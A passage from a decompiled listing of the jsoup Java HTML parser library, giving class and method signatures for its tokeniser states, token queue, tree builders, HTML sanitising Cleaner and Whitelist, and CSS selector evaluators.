    void TokeniserState$35(String, int);
    void read(Tokeniser, CharacterReader);
}










org/jsoup/parser/TokeniserState$36.class


package org.jsoup.parser;
final synchronized enum TokeniserState$36 {
    void TokeniserState$36(String, int);
    void read(Tokeniser, CharacterReader);
}










org/jsoup/parser/TokeniserState$37.class


package org.jsoup.parser;
final synchronized enum TokeniserState$37 {
    void TokeniserState$37(String, int);
    void read(Tokeniser, CharacterReader);
}










org/jsoup/parser/TokeniserState$38.class


package org.jsoup.parser;
final synchronized enum TokeniserState$38 {
    void TokeniserState$38(String, int);
    void read(Tokeniser, CharacterReader);
}










org/jsoup/parser/TokeniserState$39.class


package org.jsoup.parser;
final synchronized enum TokeniserState$39 {
    void TokeniserState$39(String, int);
    void read(Tokeniser, CharacterReader);
}










org/jsoup/parser/TokeniserState$4.class


package org.jsoup.parser;
final synchronized enum TokeniserState$4 {
    void TokeniserState$4(String, int);
    void read(Tokeniser, CharacterReader);
}










org/jsoup/parser/TokeniserState$40.class


package org.jsoup.parser;
final synchronized enum TokeniserState$40 {
    void TokeniserState$40(String, int);
    void read(Tokeniser, CharacterReader);
}










org/jsoup/parser/TokeniserState$41.class


package org.jsoup.parser;
final synchronized enum TokeniserState$41 {
    void TokeniserState$41(String, int);
    void read(Tokeniser, CharacterReader);
}










org/jsoup/parser/TokeniserState$42.class


package org.jsoup.parser;
final synchronized enum TokeniserState$42 {
    void TokeniserState$42(String, int);
    void read(Tokeniser, CharacterReader);
}










org/jsoup/parser/TokeniserState$43.class


package org.jsoup.parser;
final synchronized enum TokeniserState$43 {
    void TokeniserState$43(String, int);
    void read(Tokeniser, CharacterReader);
}










org/jsoup/parser/TokeniserState$44.class


package org.jsoup.parser;
final synchronized enum TokeniserState$44 {
    void TokeniserState$44(String, int);
    void read(Tokeniser, CharacterReader);
}










org/jsoup/parser/TokeniserState$45.class


package org.jsoup.parser;
final synchronized enum TokeniserState$45 {
    void TokeniserState$45(String, int);
    void read(Tokeniser, CharacterReader);
}










org/jsoup/parser/TokeniserState$46.class


package org.jsoup.parser;
final synchronized enum TokeniserState$46 {
    void TokeniserState$46(String, int);
    void read(Tokeniser, CharacterReader);
}










org/jsoup/parser/TokeniserState$47.class


package org.jsoup.parser;
final synchronized enum TokeniserState$47 {
    void TokeniserState$47(String, int);
    void read(Tokeniser, CharacterReader);
}










org/jsoup/parser/TokeniserState$48.class


package org.jsoup.parser;
final synchronized enum TokeniserState$48 {
    void TokeniserState$48(String, int);
    void read(Tokeniser, CharacterReader);
}










org/jsoup/parser/TokeniserState$49.class


package org.jsoup.parser;
final synchronized enum TokeniserState$49 {
    void TokeniserState$49(String, int);
    void read(Tokeniser, CharacterReader);
}










org/jsoup/parser/TokeniserState$5.class


package org.jsoup.parser;
final synchronized enum TokeniserState$5 {
    void TokeniserState$5(String, int);
    void read(Tokeniser, CharacterReader);
}










org/jsoup/parser/TokeniserState$50.class


package org.jsoup.parser;
final synchronized enum TokeniserState$50 {
    void TokeniserState$50(String, int);
    void read(Tokeniser, CharacterReader);
}










org/jsoup/parser/TokeniserState$51.class


package org.jsoup.parser;
final synchronized enum TokeniserState$51 {
    void TokeniserState$51(String, int);
    void read(Tokeniser, CharacterReader);
}










org/jsoup/parser/TokeniserState$52.class


package org.jsoup.parser;
final synchronized enum TokeniserState$52 {
    void TokeniserState$52(String, int);
    void read(Tokeniser, CharacterReader);
}










org/jsoup/parser/TokeniserState$53.class


package org.jsoup.parser;
final synchronized enum TokeniserState$53 {
    void TokeniserState$53(String, int);
    void read(Tokeniser, CharacterReader);
}










org/jsoup/parser/TokeniserState$54.class


package org.jsoup.parser;
final synchronized enum TokeniserState$54 {
    void TokeniserState$54(String, int);
    void read(Tokeniser, CharacterReader);
}










org/jsoup/parser/TokeniserState$55.class


package org.jsoup.parser;
final synchronized enum TokeniserState$55 {
    void TokeniserState$55(String, int);
    void read(Tokeniser, CharacterReader);
}










org/jsoup/parser/TokeniserState$56.class


package org.jsoup.parser;
final synchronized enum TokeniserState$56 {
    void TokeniserState$56(String, int);
    void read(Tokeniser, CharacterReader);
}










org/jsoup/parser/TokeniserState$57.class


package org.jsoup.parser;
final synchronized enum TokeniserState$57 {
    void TokeniserState$57(String, int);
    void read(Tokeniser, CharacterReader);
}










org/jsoup/parser/TokeniserState$58.class


package org.jsoup.parser;
final synchronized enum TokeniserState$58 {
    void TokeniserState$58(String, int);
    void read(Tokeniser, CharacterReader);
}










org/jsoup/parser/TokeniserState$59.class


package org.jsoup.parser;
final synchronized enum TokeniserState$59 {
    void TokeniserState$59(String, int);
    void read(Tokeniser, CharacterReader);
}










org/jsoup/parser/TokeniserState$6.class


package org.jsoup.parser;
final synchronized enum TokeniserState$6 {
    void TokeniserState$6(String, int);
    void read(Tokeniser, CharacterReader);
}










org/jsoup/parser/TokeniserState$60.class


package org.jsoup.parser;
final synchronized enum TokeniserState$60 {
    void TokeniserState$60(String, int);
    void read(Tokeniser, CharacterReader);
}










org/jsoup/parser/TokeniserState$61.class


package org.jsoup.parser;
final synchronized enum TokeniserState$61 {
    void TokeniserState$61(String, int);
    void read(Tokeniser, CharacterReader);
}










org/jsoup/parser/TokeniserState$62.class


package org.jsoup.parser;
final synchronized enum TokeniserState$62 {
    void TokeniserState$62(String, int);
    void read(Tokeniser, CharacterReader);
}










org/jsoup/parser/TokeniserState$63.class


package org.jsoup.parser;
final synchronized enum TokeniserState$63 {
    void TokeniserState$63(String, int);
    void read(Tokeniser, CharacterReader);
}










org/jsoup/parser/TokeniserState$64.class


package org.jsoup.parser;
final synchronized enum TokeniserState$64 {
    void TokeniserState$64(String, int);
    void read(Tokeniser, CharacterReader);
}










org/jsoup/parser/TokeniserState$65.class


package org.jsoup.parser;
final synchronized enum TokeniserState$65 {
    void TokeniserState$65(String, int);
    void read(Tokeniser, CharacterReader);
}










org/jsoup/parser/TokeniserState$66.class


package org.jsoup.parser;
final synchronized enum TokeniserState$66 {
    void TokeniserState$66(String, int);
    void read(Tokeniser, CharacterReader);
}










org/jsoup/parser/TokeniserState$67.class


package org.jsoup.parser;
final synchronized enum TokeniserState$67 {
    void TokeniserState$67(String, int);
    void read(Tokeniser, CharacterReader);
}










org/jsoup/parser/TokeniserState$7.class


package org.jsoup.parser;
final synchronized enum TokeniserState$7 {
    void TokeniserState$7(String, int);
    void read(Tokeniser, CharacterReader);
}










org/jsoup/parser/TokeniserState$8.class


package org.jsoup.parser;
final synchronized enum TokeniserState$8 {
    void TokeniserState$8(String, int);
    void read(Tokeniser, CharacterReader);
}










org/jsoup/parser/TokeniserState$9.class


package org.jsoup.parser;
final synchronized enum TokeniserState$9 {
    void TokeniserState$9(String, int);
    void read(Tokeniser, CharacterReader);
}










org/jsoup/parser/TokeniserState.class


package org.jsoup.parser;
abstract synchronized enum TokeniserState {
    public static final TokeniserState Data;
    public static final TokeniserState CharacterReferenceInData;
    public static final TokeniserState Rcdata;
    public static final TokeniserState CharacterReferenceInRcdata;
    public static final TokeniserState Rawtext;
    public static final TokeniserState ScriptData;
    public static final TokeniserState PLAINTEXT;
    public static final TokeniserState TagOpen;
    public static final TokeniserState EndTagOpen;
    public static final TokeniserState TagName;
    public static final TokeniserState RcdataLessthanSign;
    public static final TokeniserState RCDATAEndTagOpen;
    public static final TokeniserState RCDATAEndTagName;
    public static final TokeniserState RawtextLessthanSign;
    public static final TokeniserState RawtextEndTagOpen;
    public static final TokeniserState RawtextEndTagName;
    public static final TokeniserState ScriptDataLessthanSign;
    public static final TokeniserState ScriptDataEndTagOpen;
    public static final TokeniserState ScriptDataEndTagName;
    public static final TokeniserState ScriptDataEscapeStart;
    public static final TokeniserState ScriptDataEscapeStartDash;
    public static final TokeniserState ScriptDataEscaped;
    public static final TokeniserState ScriptDataEscapedDash;
    public static final TokeniserState ScriptDataEscapedDashDash;
    public static final TokeniserState ScriptDataEscapedLessthanSign;
    public static final TokeniserState ScriptDataEscapedEndTagOpen;
    public static final TokeniserState ScriptDataEscapedEndTagName;
    public static final TokeniserState ScriptDataDoubleEscapeStart;
    public static final TokeniserState ScriptDataDoubleEscaped;
    public static final TokeniserState ScriptDataDoubleEscapedDash;
    public static final TokeniserState ScriptDataDoubleEscapedDashDash;
    public static final TokeniserState ScriptDataDoubleEscapedLessthanSign;
    public static final TokeniserState ScriptDataDoubleEscapeEnd;
    public static final TokeniserState BeforeAttributeName;
    public static final TokeniserState AttributeName;
    public static final TokeniserState AfterAttributeName;
    public static final TokeniserState BeforeAttributeValue;
    public static final TokeniserState AttributeValue_doubleQuoted;
    public static final TokeniserState AttributeValue_singleQuoted;
    public static final TokeniserState AttributeValue_unquoted;
    public static final TokeniserState AfterAttributeValue_quoted;
    public static final TokeniserState SelfClosingStartTag;
    public static final TokeniserState BogusComment;
    public static final TokeniserState MarkupDeclarationOpen;
    public static final TokeniserState CommentStart;
    public static final TokeniserState CommentStartDash;
    public static final TokeniserState Comment;
    public static final TokeniserState CommentEndDash;
    public static final TokeniserState CommentEnd;
    public static final TokeniserState CommentEndBang;
    public static final TokeniserState Doctype;
    public static final TokeniserState BeforeDoctypeName;
    public static final TokeniserState DoctypeName;
    public static final TokeniserState AfterDoctypeName;
    public static final TokeniserState AfterDoctypePublicKeyword;
    public static final TokeniserState BeforeDoctypePublicIdentifier;
    public static final TokeniserState DoctypePublicIdentifier_doubleQuoted;
    public static final TokeniserState DoctypePublicIdentifier_singleQuoted;
    public static final TokeniserState AfterDoctypePublicIdentifier;
    public static final TokeniserState BetweenDoctypePublicAndSystemIdentifiers;
    public static final TokeniserState AfterDoctypeSystemKeyword;
    public static final TokeniserState BeforeDoctypeSystemIdentifier;
    public static final TokeniserState DoctypeSystemIdentifier_doubleQuoted;
    public static final TokeniserState DoctypeSystemIdentifier_singleQuoted;
    public static final TokeniserState AfterDoctypeSystemIdentifier;
    public static final TokeniserState BogusDoctype;
    public static final TokeniserState CdataSection;
    private static final char nullChar = 0;
    private static final char replacementChar = 65533;
    private static final String replacementStr;
    private static final char eof = 65535;
    public static TokeniserState[] values();
    public static TokeniserState valueOf(String);
    private void TokeniserState(String, int);
    abstract void read(Tokeniser, CharacterReader);
    private static final void handleDataEndTag(Tokeniser, CharacterReader, TokeniserState);
    private static final void handleDataDoubleEscapeTag(Tokeniser, CharacterReader, TokeniserState, TokeniserState);
    static void <clinit>();
}










org/jsoup/parser/TokenQueue.class


package org.jsoup.parser;
public synchronized class TokenQueue {
    private String queue;
    private int pos;
    private static final char ESC = 92;
    public void TokenQueue(String);
    public boolean isEmpty();
    private int remainingLength();
    public char peek();
    public void addFirst(Character);
    public void addFirst(String);
    public boolean matches(String);
    public boolean matchesCS(String);
    public transient boolean matchesAny(String[]);
    public transient boolean matchesAny(char[]);
    public boolean matchesStartTag();
    public boolean matchChomp(String);
    public boolean matchesWhitespace();
    public boolean matchesWord();
    public void advance();
    public char consume();
    public void consume(String);
    public String consumeTo(String);
    public String consumeToIgnoreCase(String);
    public transient String consumeToAny(String[]);
    public String chompTo(String);
    public String chompToIgnoreCase(String);
    public String chompBalanced(char, char);
    public static String unescape(String);
    public boolean consumeWhitespace();
    public String consumeWord();
    public String consumeTagName();
    public String consumeElementSelector();
    public String consumeCssIdentifier();
    public String consumeAttributeKey();
    public String remainder();
    public String toString();
}










org/jsoup/parser/TreeBuilder.class


package org.jsoup.parser;
abstract synchronized class TreeBuilder {
    CharacterReader reader;
    Tokeniser tokeniser;
    protected org.jsoup.nodes.Document doc;
    protected org.jsoup.helper.DescendableLinkedList stack;
    protected String baseUri;
    protected Token currentToken;
    protected ParseErrorList errors;
    void TreeBuilder();
    protected void initialiseParse(String, String, ParseErrorList);
    org.jsoup.nodes.Document parse(String, String);
    org.jsoup.nodes.Document parse(String, String, ParseErrorList);
    protected void runParser();
    protected abstract boolean process(Token);
    protected org.jsoup.nodes.Element currentElement();
}










org/jsoup/parser/XmlTreeBuilder$1.class


package org.jsoup.parser;
synchronized class XmlTreeBuilder$1 {
    static void <clinit>();
}










org/jsoup/parser/XmlTreeBuilder.class


package org.jsoup.parser;
public synchronized class XmlTreeBuilder extends TreeBuilder {
    public void XmlTreeBuilder();
    protected void initialiseParse(String, String, ParseErrorList);
    protected boolean process(Token);
    private void insertNode(org.jsoup.nodes.Node);
    org.jsoup.nodes.Element insert(Token$StartTag);
    void insert(Token$Comment);
    void insert(Token$Character);
    void insert(Token$Doctype);
    private void popStackToClose(Token$EndTag);
    java.util.List parseFragment(String, String, ParseErrorList);
}










org/jsoup/safety/Cleaner$1.class


package org.jsoup.safety;
synchronized class Cleaner$1 {
}










org/jsoup/safety/Cleaner$CleaningVisitor.class


package org.jsoup.safety;
final synchronized class Cleaner$CleaningVisitor implements org.jsoup.select.NodeVisitor {
    private int numDiscarded;
    private final org.jsoup.nodes.Element root;
    private org.jsoup.nodes.Element destination;
    private void Cleaner$CleaningVisitor(Cleaner, org.jsoup.nodes.Element, org.jsoup.nodes.Element);
    public void head(org.jsoup.nodes.Node, int);
    public void tail(org.jsoup.nodes.Node, int);
}










org/jsoup/safety/Cleaner$ElementMeta.class


package org.jsoup.safety;
synchronized class Cleaner$ElementMeta {
    org.jsoup.nodes.Element el;
    int numAttribsDiscarded;
    void Cleaner$ElementMeta(org.jsoup.nodes.Element, int);
}










org/jsoup/safety/Cleaner.class


package org.jsoup.safety;
public synchronized class Cleaner {
    private Whitelist whitelist;
    public void Cleaner(Whitelist);
    public org.jsoup.nodes.Document clean(org.jsoup.nodes.Document);
    public boolean isValid(org.jsoup.nodes.Document);
    private int copySafeNodes(org.jsoup.nodes.Element, org.jsoup.nodes.Element);
    private Cleaner$ElementMeta createSafeElement(org.jsoup.nodes.Element);
}










org/jsoup/safety/Whitelist$AttributeKey.class


package org.jsoup.safety;
synchronized class Whitelist$AttributeKey extends Whitelist$TypedValue {
    void Whitelist$AttributeKey(String);
    static Whitelist$AttributeKey valueOf(String);
}










org/jsoup/safety/Whitelist$AttributeValue.class


package org.jsoup.safety;
synchronized class Whitelist$AttributeValue extends Whitelist$TypedValue {
    void Whitelist$AttributeValue(String);
    static Whitelist$AttributeValue valueOf(String);
}










org/jsoup/safety/Whitelist$Protocol.class


package org.jsoup.safety;
synchronized class Whitelist$Protocol extends Whitelist$TypedValue {
    void Whitelist$Protocol(String);
    static Whitelist$Protocol valueOf(String);
}










org/jsoup/safety/Whitelist$TagName.class


package org.jsoup.safety;
synchronized class Whitelist$TagName extends Whitelist$TypedValue {
    void Whitelist$TagName(String);
    static Whitelist$TagName valueOf(String);
}










org/jsoup/safety/Whitelist$TypedValue.class


package org.jsoup.safety;
abstract synchronized class Whitelist$TypedValue {
    private String value;
    void Whitelist$TypedValue(String);
    public int hashCode();
    public boolean equals(Object);
    public String toString();
}










org/jsoup/safety/Whitelist.class


package org.jsoup.safety;
public synchronized class Whitelist {
    private java.util.Set tagNames;
    private java.util.Map attributes;
    private java.util.Map enforcedAttributes;
    private java.util.Map protocols;
    private boolean preserveRelativeLinks;
    public static Whitelist none();
    public static Whitelist simpleText();
    public static Whitelist basic();
    public static Whitelist basicWithImages();
    public static Whitelist relaxed();
    public void Whitelist();
    public transient Whitelist addTags(String[]);
    public transient Whitelist addAttributes(String, String[]);
    public Whitelist addEnforcedAttribute(String, String, String);
    public Whitelist preserveRelativeLinks(boolean);
    public transient Whitelist addProtocols(String, String, String[]);
    protected boolean isSafeTag(String);
    protected boolean isSafeAttribute(String, org.jsoup.nodes.Element, org.jsoup.nodes.Attribute);
    private boolean testValidProtocol(org.jsoup.nodes.Element, org.jsoup.nodes.Attribute, java.util.Set);
    org.jsoup.nodes.Attributes getEnforcedAttributes(String);
}










org/jsoup/select/Collector$Accumulator.class


package org.jsoup.select;
synchronized class Collector$Accumulator implements NodeVisitor {
    private final org.jsoup.nodes.Element root;
    private final Elements elements;
    private final Evaluator eval;
    void Collector$Accumulator(org.jsoup.nodes.Element, Elements, Evaluator);
    public void head(org.jsoup.nodes.Node, int);
    public void tail(org.jsoup.nodes.Node, int);
}










org/jsoup/select/Collector.class


package org.jsoup.select;
public synchronized class Collector {
    private void Collector();
    public static Elements collect(Evaluator, org.jsoup.nodes.Element);
}










org/jsoup/select/CombiningEvaluator$And.class


package org.jsoup.select;
final synchronized class CombiningEvaluator$And extends CombiningEvaluator {
    void CombiningEvaluator$And(java.util.Collection);
    transient void CombiningEvaluator$And(Evaluator[]);
    public boolean matches(org.jsoup.nodes.Element, org.jsoup.nodes.Element);
    public String toString();
}










org/jsoup/select/CombiningEvaluator$Or.class


package org.jsoup.select;
final synchronized class CombiningEvaluator$Or extends CombiningEvaluator {
    void CombiningEvaluator$Or(java.util.Collection);
    void CombiningEvaluator$Or();
    public void add(Evaluator);
    public boolean matches(org.jsoup.nodes.Element, org.jsoup.nodes.Element);
    public String toString();
}










org/jsoup/select/CombiningEvaluator.class


package org.jsoup.select;
abstract synchronized class CombiningEvaluator extends Evaluator {
    final java.util.ArrayList evaluators;
    int num;
    void CombiningEvaluator();
    void CombiningEvaluator(java.util.Collection);
    Evaluator rightMostEvaluator();
    void replaceRightMostEvaluator(Evaluator);
    void updateNumEvaluators();
}










org/jsoup/select/Elements.class


package org.jsoup.select;
public synchronized class Elements implements java.util.List, Cloneable {
    private java.util.List contents;
    public void Elements();
    public void Elements(int);
    public void Elements(java.util.Collection);
    public void Elements(java.util.List);
    public transient void Elements(org.jsoup.nodes.Element[]);
    public Elements clone();
    public String attr(String);
    public boolean hasAttr(String);
    public Elements attr(String, String);
    public Elements removeAttr(String);
    public Elements addClass(String);
    public Elements removeClass(String);
    public Elements toggleClass(String);
    public boolean hasClass(String);
    public String val();
    public Elements val(String);
    public String text();
    public boolean hasText();
    public String html();
    public String outerHtml();
    public String toString();
    public Elements tagName(String);
    public Elements html(String);
    public Elements prepend(String);
    public Elements append(String);
    public Elements before(String);
    public Elements after(String);
    public Elements wrap(String);
    public Elements unwrap();
    public Elements empty();
    public Elements remove();
    public Elements select(String);
    public Elements not(String);
    public Elements eq(int);
    public boolean is(String);
    public Elements parents();
    public org.jsoup.nodes.Element first();
    public org.jsoup.nodes.Element last();
    public Elements traverse(NodeVisitor);
    public java.util.List forms();
    public int size();
    public boolean isEmpty();
    public boolean contains(Object);
    public java.util.Iterator iterator();
    public Object[] toArray();
    public Object[] toArray(Object[]);
    public boolean add(org.jsoup.nodes.Element);
    public boolean remove(Object);
    public boolean containsAll(java.util.Collection);
    public boolean addAll(java.util.Collection);
    public boolean addAll(int, java.util.Collection);
    public boolean removeAll(java.util.Collection);
    public boolean retainAll(java.util.Collection);
    public void clear();
    public boolean equals(Object);
    public int hashCode();
    public org.jsoup.nodes.Element get(int);
    public org.jsoup.nodes.Element set(int, org.jsoup.nodes.Element);
    public void add(int, org.jsoup.nodes.Element);
    public org.jsoup.nodes.Element remove(int);
    public int indexOf(Object);
    public int lastIndexOf(Object);
    public java.util.ListIterator listIterator();
    public java.util.ListIterator listIterator(int);
    public java.util.List subList(int, int);
}










org/jsoup/select/Evaluator$AllElements.class


package org.jsoup.select;
public final synchronized class Evaluator$AllElements extends Evaluator {
    public void Evaluator$AllElements();
    public boolean matches(org.jsoup.nodes.Element, org.jsoup.nodes.Element);
    public String toString();
}










org/jsoup/select/Evaluator$Attribute.class


package org.jsoup.select;
public final synchronized class Evaluator$Attribute extends Evaluator {
    private String key;
    public void Evaluator$Attribute(String);
    public boolean matches(org.jsoup.nodes.Element, org.jsoup.nodes.Element);
    public String toString();
}










org/jsoup/select/Evaluator$AttributeKeyPair.class


package org.jsoup.select;
public abstract synchronized class Evaluator$AttributeKeyPair extends Evaluator {
    String key;
    String value;
    public void Evaluator$AttributeKeyPair(String, String);
}










org/jsoup/select/Evaluator$AttributeStarting.class


package org.jsoup.select;
public final synchronized class Evaluator$AttributeStarting extends Evaluator {
    private String keyPrefix;
    public void Evaluator$AttributeStarting(String);
    public boolean matches(org.jsoup.nodes.Element, org.jsoup.nodes.Element);
    public String toString();
}










org/jsoup/select/Evaluator$AttributeWithValue.class


package org.jsoup.select;
public final synchronized class Evaluator$AttributeWithValue extends Evaluator$AttributeKeyPair {
    public void Evaluator$AttributeWithValue(String, String);
    public boolean matches(org.jsoup.nodes.Element, org.jsoup.nodes.Element);
    public String toString();
}










org/jsoup/select/Evaluator$AttributeWithValueContaining.class


package org.jsoup.select;
public final synchronized class Evaluator$AttributeWithValueContaining extends Evaluator$AttributeKeyPair {
    public void Evaluator$AttributeWithValueContaining(String, String);
    public boolean matches(org.jsoup.nodes.Element, org.jsoup.nodes.Element);
    public String toString();
}










org/jsoup/select/Evaluator$AttributeWithValueEnding.class


package org.jsoup.select;
public final synchronized class Evaluator$AttributeWithValueEnding extends Evaluator$AttributeKeyPair {
    public void Evaluator$AttributeWithValueEnding(String, String);
    public boolean matches(org.jsoup.nodes.Element, org.jsoup.nodes.Element);
    public String toString();
}










org/jsoup/select/Evaluator$AttributeWithValueMatching.class


package org.jsoup.select;
public final synchronized class Evaluator$AttributeWithValueMatching extends Evaluator {
    String key;
    java.util.regex.Pattern pattern;
    public void Evaluator$AttributeWithValueMatching(String, java.util.regex.Pattern);
    public boolean matches(org.jsoup.nodes.Element, org.jsoup.nodes.Element);
    public String toString();
}










org/jsoup/select/Evaluator$AttributeWithValueNot.class


package org.jsoup.select;
public final synchronized class Evaluator$AttributeWithValueNot extends Evaluator$AttributeKeyPair {
    public void Evaluator$AttributeWithValueNot(String, String);
    public boolean matches(org.jsoup.nodes.Element, org.jsoup.nodes.Element);
    public String toString();
}










org/jsoup/select/Evaluator$AttributeWithValueStarting.class


package org.jsoup.select;
public final synchronized class Evaluator$AttributeWithValueStarting extends Evaluator$AttributeKeyPair {
    public void Evaluator$AttributeWithValueStarting(String, String);
    public boolean matches(org.jsoup.nodes.Element, org.jsoup.nodes.Element);
    public String toString();
}










org/jsoup/select/Evaluator$Class.class


package org.jsoup.select;
public final synchronized class Evaluator$Class extends Evaluator {
    private String className;
    public void Evaluator$Class(String);
    public boolean matches(org.jsoup.nodes.Element, org.jsoup.nodes.Element);
    public String toString();
}










org/jsoup/select/Evaluator$ContainsOwnText.class


package org.jsoup.select;
public final synchronized class Evaluator$ContainsOwnText extends Evaluator {
    private String searchText;
    public void Evaluator$ContainsOwnText(String);
    public boolean matches(org.jsoup.nodes.Element, org.jsoup.nodes.Element);
    public String toString();
}










org/jsoup/select/Evaluator$ContainsText.class


package org.jsoup.select;
public final synchronized class Evaluator$ContainsText extends Evaluator {
    private String searchText;
    public void Evaluator$ContainsText(String);
    public boolean matches(org.jsoup.nodes.Element, org.jsoup.nodes.Element);
    public String toString();
}










org/jsoup/select/Evaluator$CssNthEvaluator.class


package org.jsoup.select;
public abstract synchronized class Evaluator$CssNthEvaluator extends Evaluator {
    protected final int a;
    protected final int b;
    public void Evaluator$CssNthEvaluator(int, int);
    public void Evaluator$CssNthEvaluator(int);
    public boolean matches(org.jsoup.nodes.Element, org.jsoup.nodes.Element);
    public String toString();
    protected abstract String getPseudoClass();
    protected abstract int calculatePosition(org.jsoup.nodes.Element, org.jsoup.nodes.Element);
}










org/jsoup/select/Evaluator$Id.class


package org.jsoup.select;
public final synchronized class Evaluator$Id extends Evaluator {
    private String id;
    public void Evaluator$Id(String);
    public boolean matches(org.jsoup.nodes.Element, org.jsoup.nodes.Element);
    public String toString();
}










org/jsoup/select/Evaluator$IndexEquals.class


package org.jsoup.select;
public final synchronized class Evaluator$IndexEquals extends Evaluator$IndexEvaluator {
    public void Evaluator$IndexEquals(int);
    public boolean matches(org.jsoup.nodes.Element, org.jsoup.nodes.Element);
    public String toString();
}










org/jsoup/select/Evaluator$IndexEvaluator.class


package org.jsoup.select;
public abstract synchronized class Evaluator$IndexEvaluator extends Evaluator {
    int index;
    public void Evaluator$IndexEvaluator(int);
}










org/jsoup/select/Evaluator$IndexGreaterThan.class


package org.jsoup.select;
public final synchronized class Evaluator$IndexGreaterThan extends Evaluator$IndexEvaluator {
    public void Evaluator$IndexGreaterThan(int);
    public boolean matches(org.jsoup.nodes.Element, org.jsoup.nodes.Element);
    public String toString();
}










org/jsoup/select/Evaluator$IndexLessThan.class


package org.jsoup.select;
public final synchronized class Evaluator$IndexLessThan extends Evaluator$IndexEvaluator {
    public void Evaluator$IndexLessThan(int);
    public boolean matches(org.jsoup.nodes.Element, org.jsoup.nodes.Element);
    public String toString();
}










org/jsoup/select/Evaluator$IsEmpty.class


package org.jsoup.select;
public final synchronized class Evaluator$IsEmpty extends Evaluator {
    public void Evaluator$IsEmpty();
    public boolean matches(org.jsoup.nodes.Element, org.jsoup.nodes.Element);
    public String toString();
}










org/jsoup/select/Evaluator$IsFirstChild.class


package org.jsoup.select;
public final synchronized class Evaluator$IsFirstChild extends Evaluator {
    public void Evaluator$IsFirstChild();
    public boolean matches(org.jsoup.nodes.Element, org.jsoup.nodes.Element);
    public String toString();
}










org/jsoup/select/Evaluator$IsFirstOfType.class


package org.jsoup.select;
public final synchronized class Evaluator$IsFirstOfType extends Evaluator$IsNthOfType {
    public void Evaluator$IsFirstOfType();
    public String toString();
}










org/jsoup/select/Evaluator$IsLastChild.class


package org.jsoup.select;
public final synchronized class Evaluator$IsLastChild extends Evaluator {
    public void Evaluator$IsLastChild();
    public boolean matches(org.jsoup.nodes.Element, org.jsoup.nodes.Element);
    public String toString();
}










org/jsoup/select/Evaluator$IsLastOfType.class


package org.jsoup.select;
public final synchronized class Evaluator$IsLastOfType extends Evaluator$IsNthLastOfType {
    public void Evaluator$IsLastOfType();
    public String toString();
}










org/jsoup/select/Evaluator$IsNthChild.class


package org.jsoup.select;
public final synchronized class Evaluator$IsNthChild extends Evaluator$CssNthEvaluator {
    public void Evaluator$IsNthChild(int, int);
    protected int calculatePosition(org.jsoup.nodes.Element, org.jsoup.nodes.Element);
    protected String getPseudoClass();
}










org/jsoup/select/Evaluator$IsNthLastChild.class


package org.jsoup.select;
public final synchronized class Evaluator$IsNthLastChild extends Evaluator$CssNthEvaluator {
    public void Evaluator$IsNthLastChild(int, int);
    protected int calculatePosition(org.jsoup.nodes.Element, org.jsoup.nodes.Element);
    protected String getPseudoClass();
}










org/jsoup/select/Evaluator$IsNthLastOfType.class


package org.jsoup.select;
public synchronized class Evaluator$IsNthLastOfType extends Evaluator$CssNthEvaluator {
    public void Evaluator$IsNthLastOfType(int, int);
    protected int calculatePosition(org.jsoup.nodes.Element, org.jsoup.nodes.Element);
    protected String getPseudoClass();
}










org/jsoup/select/Evaluator$IsNthOfType.class


package org.jsoup.select;
public synchronized class Evaluator$IsNthOfType extends Evaluator$CssNthEvaluator {
    public void Evaluator$IsNthOfType(int, int);
    protected int calculatePosition(org.jsoup.nodes.Element, org.jsoup.nodes.Element);
    protected String getPseudoClass();
}










org/jsoup/select/Evaluator$IsOnlyChild.class


package org.jsoup.select;
public final synchronized class Evaluator$IsOnlyChild extends Evaluator {
    public void Evaluator$IsOnlyChild();
    public boolean matches(org.jsoup.nodes.Element, org.jsoup.nodes.Element);
    public String toString();
}










org/jsoup/select/Evaluator$IsOnlyOfType.class


package org.jsoup.select;
public final synchronized class Evaluator$IsOnlyOfType extends Evaluator {
    public void Evaluator$IsOnlyOfType();
    public boolean matches(org.jsoup.nodes.Element, org.jsoup.nodes.Element);
    public String toString();
}










org/jsoup/select/Evaluator$IsRoot.class


package org.jsoup.select;
public final synchronized class Evaluator$IsRoot extends Evaluator {
    public void Evaluator$IsRoot();
    public boolean matches(org.jsoup.nodes.Element, org.jsoup.nodes.Element);
    public String toString();
}










org/jsoup/select/Evaluator$Matches.class


package org.jsoup.select;
public final synchronized class Evaluator$Matches extends Evaluator {
    private java.util.regex.Pattern pattern;
    public void Evaluator$Matches(java.util.regex.Pattern);
    public boolean matches(org.jsoup.nodes.Element, org.jsoup.nodes.Element);
    public String toString();
}










org/jsoup/select/Evaluator$MatchesOwn.class


package org.jsoup.select;
public final synchronized class Evaluator$MatchesOwn extends Evaluator {
    private java.util.regex.Pattern pattern;
    public void Evaluator$MatchesOwn(java.util.regex.Pattern);
    public boolean matches(org.jsoup.nodes.Element, org.jsoup.nodes.Element);
    public String toString();
}










org/jsoup/select/Evaluator$Tag.class


package org.jsoup.select;
public final synchronized class Evaluator$Tag extends Evaluator {
    private String tagName;
    public void Evaluator$Tag(String);
    public boolean matches(org.jsoup.nodes.Element, org.jsoup.nodes.Element);
    public String toString();
}










org/jsoup/select/Evaluator.class


package org.jsoup.select;
public abstract synchronized class Evaluator {
    protected void Evaluator();
    public abstract boolean matches(org.jsoup.nodes.Element, org.jsoup.nodes.Element);
}










org/jsoup/select/NodeTraversor.class


package org.jsoup.select;
public synchronized class NodeTraversor {
    private NodeVisitor visitor;
    public void NodeTraversor(NodeVisitor);
    public void traverse(org.jsoup.nodes.Node);
}










org/jsoup/select/NodeVisitor.class


package org.jsoup.select;
public abstract interface NodeVisitor {
    public abstract void head(org.jsoup.nodes.Node, int);
    public abstract void tail(org.jsoup.nodes.Node, int);
}










org/jsoup/select/QueryParser.class


package org.jsoup.select;
synchronized class QueryParser {
    private static final String[] combinators;
    private static final String[] AttributeEvals;
    private org.jsoup.parser.TokenQueue tq;
    private String query;
    private java.util.List evals;
    private static final java.util.regex.Pattern NTH_AB;
    private static final java.util.regex.Pattern NTH_B;
    private void QueryParser(String);
    public static Evaluator parse(String);
    Evaluator parse();
    private void combinator(char);
    private String consumeSubQuery();
    private void findElements();
    private void byId();
    private void byClass();
    private void byTag();
    private void byAttribute();
    private void allElements();
    private void indexLessThan();
    private void indexGreaterThan();
    private void indexEquals();
    private void cssNthChild(boolean, boolean);
    private int consumeIndex();
    private void has();
    private void contains(boolean);
    private void matches(boolean);
    private void not();
    static void <clinit>();
}










org/jsoup/select/Selector$SelectorParseException.class


package org.jsoup.select;
